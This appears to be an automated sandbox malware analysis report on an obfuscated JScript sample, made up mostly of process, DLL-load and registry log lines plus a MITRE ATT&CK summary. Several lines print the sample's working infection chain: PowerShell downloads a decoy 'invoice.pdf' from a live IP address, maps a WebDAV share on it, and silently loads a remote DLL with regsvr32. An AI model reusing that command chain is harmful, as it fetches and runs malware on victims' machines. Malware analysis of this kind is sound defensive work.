Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\849.js.csv");ITextStream.WriteLine(" entry:8320 f:zlpelqs");ITextStream.WriteLine(" exec:2 f:zlpelqs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4546			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5328			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7064	Thread sleep count: 4546 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep count: 5328 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2516	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5496	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2195485770.000001C417BA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: svchost.exe, 00000009.00000002.3404064181.000002420622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2195485770.000001C417C06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3406462221.000002420B855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3406416199.000002420B843000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
